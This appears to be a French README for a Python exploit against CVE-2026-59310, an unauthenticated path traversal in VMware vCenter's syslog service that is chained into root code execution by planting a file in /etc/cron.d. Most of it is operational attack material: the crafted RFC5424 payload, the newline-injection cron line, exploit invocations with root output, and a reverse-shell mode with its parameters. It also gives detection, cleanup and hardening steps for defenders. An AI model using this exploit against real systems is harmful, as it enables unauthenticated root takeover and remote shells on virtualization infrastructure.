
PoC et exploit Python pour CVE-2026-59310, une traversée de chemin dans le syslog de VMware vCenter menant à une RCE root non authentifiée via injection dans cron, avec des conseils de détection et de nettoyage.
Avertissement : ce projet est destiné exclusivement aux tests de sécurité autorisés, à la validation de vulnérabilités et à la recherche défensive. Utilisez-le dans un environnement pour lequel vous disposez d'une autorisation écrite explicite. L'utilisateur assume l'entière responsabilité de toute conséquence résultant d'un usage abusif.
Le service de réception syslog intégré à vCenter (rsyslog) utilise un modèle de chemin dynamique pour enregistrer les journaux ; ce modèle concatène directement les champs APP-NAME et HOSTNAME de l'en-tête du message dans le chemin du fichier, sans aucune purification de chemin. Un attaquant peut envoyer un message spécialement conçu vers le port syslog accessible, ce qui permet au chemin d'écriture de s'échapper du répertoire de journaux prévu, puis, combiné à une tâche planifiée, d'obtenir une exécution de code arbitraire.
vCenter est le centre névralgique de la gestion de la virtualisation ; sa compromission équivaut à la perte de l'ensemble de l'environnement vSphere / VCF.
Versions affectées (antérieures aux versions corrigées ci-dessous)
Également affectés : les vCenter déployés de manière autonome, ainsi que les composants vCenter affectés utilisés dans VMware Cloud Foundation, VMware vSphere Foundation et VMware Telco Cloud.
Environnement validé : VMware vCenter Server 9.0.2.0 / Build 25148086, antérieur à la version corrigée 25629525, confirmé comme non corrigé.
/etc/rsyslog.conf (configuration par défaut d'usine VMware) :
29: $template defaultLoc, "/var/log/vmware/%app-name%/%app-name%-syslog.log"
33: $template rsyslogadminLoc,"/var/log/vmware/%app-name%/%app-name%-syslog.log"
35: $template esxLoc, "/var/log/vmware/esx/%hostname%/%hostname%-syslog.log"
%app-name% est utilisé à la fois comme nom de répertoire et comme nom de fichier, sans purification de chemin.
63: :app-name, startswith, "rsyslog" ?rsyslogadminLoc;rsyslogadminFmt
Seule une correspondance de préfixe est exigée ; un attaquant peut utiliser rsyslog/... pour déclencher cette règle et entrer dans le modèle de chemin dynamique.
24: $EscapeControlCharactersOnReceive off
Les retours à la ligne présents dans le contenu du message sont écrits tels quels sur le disque, ce qui permet à l'attaquant de contrôler la structure des lignes du fichier écrit.
C'est l'aspect le plus souvent négligé de cette vulnérabilité.
/ n'est pas autorisé par défaut, ce qui entraîne la troncature de APP-NAME au niveau de / → pas de traversée possible.APP-NAME est un champ indépendant séparé par des espaces, sans validation par liste blanche de caractères ; / et .. sont conservés tels quels → traversée possible.Côté serveur, input(type="imudp" port="514") utilise le jeu de règles par défaut et accepte également les messages RFC5424. Il suffit à l'attaquant de formater son message en RFC5424 pour que les caractères de traversée atteignent directement le chemin du fichier.
Comparaison mesurée (même charge utile rsyslog/../../../../tmp/x) :
| Analyseur | Valeur réelle de %app-name% |
|---|---|
| pmrfc3164 | rsyslog ← tronqué au niveau de / |
| pmrfc5424 | rsyslog/../../../../tmp/x ← conservé intégralement |
Indice complémentaire : un simple
..est créé comme nom de répertoire littéral (par exemplersyslog..), ce qui montre que la couche omfile de rsyslog n'effectue pas de normalisation de..; ce qui détermine réellement le succès, c'est la capacité de l'analyseur à faire passer/dans le champ.
① Paquet UDP non authentifié → ② APP-NAME RFC5424 portant la traversée → ③ Évasion du répertoire de journaux, écriture arbitraire (root)
↓
⑤ Exécution de code root ← ④ Implantation d'une tâche planifiée dans /etc/cron.d
<134>1 2026-01-05T12:00:00Z h rsyslog/../../../../tmp/PWNED 1 ID - hello
Substitution dans le modèle :
Répertoire = /var/log/vmware/rsyslog/../../../../tmp/PWNED → /tmp/PWNED
Fichier = idem + "-syslog.log" → /tmp/PWNED-syslog.log
Résultat : écriture avec root comme propriétaire dans /tmp/PWNED-syslog.log, création automatique des répertoires parents manquants, contenu entièrement contrôlable.
Le nom du fichier écrit se termine toujours par -syslog.log, ce qui empêche d'écraser directement /etc/cron.d/xxx.
Toutefois, grâce au passage des retours à la ligne, il est possible d'injecter un retour à la ligne dans le MSG, faisant commencer le contenu contrôlé à la colonne 0 du fichier :
2026-01-05T12:00:00Z info rsyslog/../../../../../etc/cron.d/poc ← cron signale "bad minute", ignoré
* * * * * root /bin/sh -c '{ id; } > /tmp/out.txt 2>&1' ← exécuté comme ligne cron valide
#
crond l'exécute avec les privilèges root, ce qui donne :
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
/opt/vmware/share/htdocs/ (lighttpd écoute sur 5480), puis lire via https://<target>:5480/..., ce qui correspond à la description de l'avis du fournisseur./var/spool/cron/root : il est possible d'écrire dans ce répertoire, mais il faudrait un fichier nommé exactement root, ce que le suffixe -syslog.log empêche ; /etc/cron.d/ est donc plus direct.Écriture de fichier arbitraire (non authentifiée)
$ python3 exploit_cve_2026_59310.py <target> --check
[i] Version de l'espace de noms API : 9.0.0.0 (pas un build appliance, à titre indicatif uniquement)
[*] APP-NAME : rsyslog/../../../../../tmp/cve59310_check_<name>
[+] Envoyé. Un fichier appartenant à root devrait être créé sur la cible
# Sur la cible :
-rw-r----- 1 root root 102 /tmp/cve59310_check_<name>-syslog.log
Exécution de commande (root)
$ python3 exploit_cve_2026_59310.py <target> -c "id; hostname"
[+] Implanté : /etc/cron.d/cve59310<name>-syslog.log
[i] Lecture du résultat : cat /tmp/cve59310_<name>.txt
# Environ 60 s plus tard :
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
localhost
Shell inversé interactif (root)
$ python3 exploit_cve_2026_59310.py <target> --lhost <votre_IP> --lport 4444
[+] Écoute sur 0.0.0.0:4444
[+] Implanté : /etc/cron.d/cve59310<name>-syslog.log
[+] Connexion entrante réussie depuis <target>:56184 —— shell root établi
root@target# id; whoami
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
root
Remplacez l'IP cible, l'adresse de connexion inversée, etc., par celles de votre propre environnement de test autorisé.
exploit_cve_2026_59310.py# 1) Shell inversé root interactif (le plus courant)
python3 exploit_cve_2026_59310.py <target> --lhost <votre_IP> --lport 4444
# 2) Exécuter une seule commande, sortie écrite dans /tmp/<name>.txt sur la cible
python3 exploit_cve_2026_59310.py <target> -c "id; hostname"
# 3) Validation non destructive : prouver uniquement l'écriture de fichier arbitraire non authentifiée
python3 exploit_cve_2026_59310.py <target> --check
# 4) Afficher les commandes de nettoyage
python3 exploit_cve_2026_59310.py <target> --cleanup
Paramètres courants :
poc_vcenter_rce.pypython3 poc_vcenter_rce.py <target> --check # valider l'écriture arbitraire
python3 poc_vcenter_rce.py <target> --rce "id" --name t # exécution de commande
python3 poc_vcenter_rce.py <target> --cleanup # rappel de nettoyage
poc_syslog_traversal.pyPermet de contrôler indépendamment HOSTNAME / APP-NAME, pour construire manuellement des messages :
python3 poc_syslog_traversal.py <target> \
--tag 'rsyslog/../../../../tmp/test' --msg 'hello'
Cette vulnérabilité ne fournit qu'une primitive d'écriture ; le script ne peut pas supprimer lui-même les fichiers distants. Le nettoyage doit être effectué sur la cible :
rm -f /etc/cron.d/cve59310*-syslog.log
rm -rf /etc/cron.d/cve59310*
rm -f /tmp/cve59310_* /tmp/cve59310_check_*
# Dans le Shell vCenter, vérifier la version (une branche 9.0 avec Build < 25629525 n'est pas corrigée)
cat /etc/vmware-release
cat /etc/applmgmt/appliance/version
# Vérifier la présence d'un modèle de chemin dynamique vulnérable
grep -nE '%(app-name|hostname)%' /etc/rsyslog.conf
# Vérifier si le passage des retours à la ligne est activé
grep -n 'EscapeControlCharactersOnReceive' /etc/rsyslog.conf
# 1) Fichiers anormaux dans /etc/cron.d (priorité : entrées avec le suffixe -syslog.log)
ls -la /etc/cron.d/
grep -rl 'syslog.log' /etc/cron.d/ 2>/dev/null
# 2) Fichiers *-syslog.log suspects hors du répertoire de journaux (analyse complète du disque, la plus efficace)
find / -name '*-syslog.log' -not -path '/var/log/vmware/*' -not -path '/storage/log/vmware/*' 2>/dev/null
# 3) Répertoires anormaux issus de la traversée (attention aux répertoires contenant .. ou %)
ls -la / | grep -E '\.\.|%'
ls -la /var/log/vmware/ | grep -E '\.\.|%|rsyslog[^d]'
# 4) Contenu écrit dans le répertoire statique VAMI
ls -la /opt/vmware/share/htdocs/
# 5) Anomalies de hostname dans les journaux de transfert syslog (APP-NAME contenant / ou ..)
grep -nE '(\.\./|/)' /var/log/vmware/messages | head
Astuce : l'analyse complète du disque (point 2) est la méthode de recherche la plus fiable. Si le modèle traverse vers un chemin inexistant, rsyslog crée automatiquement les répertoires parents ; des répertoires malformés tels que
/..etc/ou/rsyslog../constituent donc également des traces d'intrusion manifestes.
Se référer au tableau Versions affectées pour la mise à niveau. La branche 9.0 exige au minimum 9.0.2.0100 (Build 25629525).
Fermer la surface d'attaque RFC5424 (le plus direct) : lier explicitement l'analyseur pmrfc3164 aux entrées 514/1514.
parser(name="p3164" type="pmrfc3164")
input(type="imudp" port="514" ruleset="all" parser="p3164")
Purification explicite du chemin : configurer securepath="normal" et secpath-drop="replace" pour omfile.
L'avis de sécurité rsyslog en amont (GHSA-xmp9-244p-5ggv) indique clairement que securepath est la véritable frontière de chemin fiable.
Bloquer le passage des retours à la ligne : définir $EscapeControlCharactersOnReceive on.
Restreindre le sélecteur : remplacer :app-name, startswith, "rsyslog" par une correspondance exacte ;
remplacer la règle de vérification du nom d'hôte par une liste blanche basée sur l'IP / le segment réseau source, afin d'éviter que tout expéditeur externe n'entre dans le modèle de chemin dynamique.
Isolation réseau : n'ouvrir les ports 514/1514 qu'aux ESXi gérés et aux redirecteurs de journaux de confiance, et interdire l'accès depuis les réseaux non administratifs.
⚠️ Attention : ce qui bloque actuellement le chemin
%hostname%n'est qu'une défense accidentelle liée au comportement par défaut de l'analyseur RFC3164, et non une frontière de sécurité fiable. Dès quepermit.slashesinhostnameest activé pour des raisons de compatibilité, la même règle devient immédiatement exploitable.
Q : Pourquoi l'outil indique-t-il une version 9.0.0.0, différente du build réel ?
/sdk/vimServiceVersions.xml renvoie la version de l'espace de noms API, et non le numéro de build de l'appliance ;
il ne permet donc pas de déterminer si le correctif est appliqué. Dans le Shell vCenter, vérifiez le build réel avec cat /etc/vmware-release.
Q : Pourquoi le résultat est-il illisible après l'exécution de la commande ?
crond planifie chaque minute ; il faut généralement attendre environ 60 s. De plus, cette vulnérabilité ne fournit qu'une primitive d'écriture ;
le script ne peut pas relire activement le fichier, il faut exécuter cat /tmp/cve59310_<name>.txt sur la cible.
Vous pouvez aussi passer une commande de lecture externe via --read-cmd (par exemple ssh root@target cat {path}).
Q : Pourquoi le shell inversé ne se connecte-t-il pas ?
Causes fréquentes : la cible ne peut pas joindre la machine d'attaque (pare-feu / NAT / isolation réseau) ; crond ne s'est pas encore déclenché
(augmenter --timeout) ; le port d'écoute n'est pas autorisé. Vous pouvez basculer vers l'implémentation de repli avec --method python.
Q : Pourquoi -c "a; b" ne renvoie-t-il qu'une partie de la sortie ?
Corrigé. Le script utilise la redirection groupée { cmd; } > file 2>&1,
ce qui garantit que la sortie de toute la séquence de commandes est capturée (a; b > file ne redirigerait que la dernière).
| Élément | Contenu |
|---|
| Nom de la vulnérabilité | Traversée de répertoire dans le syslog de VMware vCenter |
| Identifiant | CVE-2026-59310 |
| Type | Traversée de répertoire (Path Traversal) → écriture de fichier arbitraire → exécution de code à distance |
| CVSS 3.1 | 9.8 (Critique) |
| Prérequis d'exploitation | Accès au port syslog uniquement (UDP/TCP 514 par défaut), aucune authentification requise |
| Conséquence | Écriture dans un chemin arbitraire et exécution de code arbitraire avec les privilèges root |
| Date de publication | 2026-07-29 |
| Exploitation active | Détectée |
| Avis du fournisseur | VMSA-2026-0006 |
| Branche | Plage affectée | Version corrigée |
|---|
| 9.1 | < 9.1.0.0300 | 9.1.0.0300 |
| 9.0 | < 9.0.2.0100 | 9.0.2.0100 (Build 25629525) |
| 8.0 U3 | < 8.0 U3k | 8.0 U3k |
| 8.0 U2 | < 8.0 U2f | 8.0 U2f |
| 8.0 version initiale / U1 | Toutes | Mettre à niveau vers 8.0 U3k ou supérieur selon le chemin pris en charge |
| 7.0 | Correctif de support étendu correspondant non installé | Contacter Broadcom pour obtenir le correctif, ou migrer vers une version prise en charge |
| Élément | Valeur |
|---|
| Cible | VMware vCenter Server 9.0.2.0, Build 25148086 |
| Version corrigée | 9.0.2.0100, Build 25629525 |
| rsyslog | 8.2306.0-4.ph5 (paquet personnalisé VMware) |
| Ports syslog | UDP/TCP 514, TCP 1514 (TLS) |
| Authentification requise | Aucune |
| Paramètre | Description |
|---|
--port | Port syslog, 514 par défaut |
--tcp | Utiliser TCP au lieu d'UDP |
--lhost / --lport | Adresse / port de connexion inversée du shell |
--method {bash,python} | Méthode de connexion inversée, bash par défaut (/dev/tcp) |
--name | Identifiant unique pour une exécution, aléatoire par défaut |
--timeout | Nombre de secondes d'attente pour l'exécution / la connexion inversée, 180 par défaut |
-q | Ne pas afficher la bannière |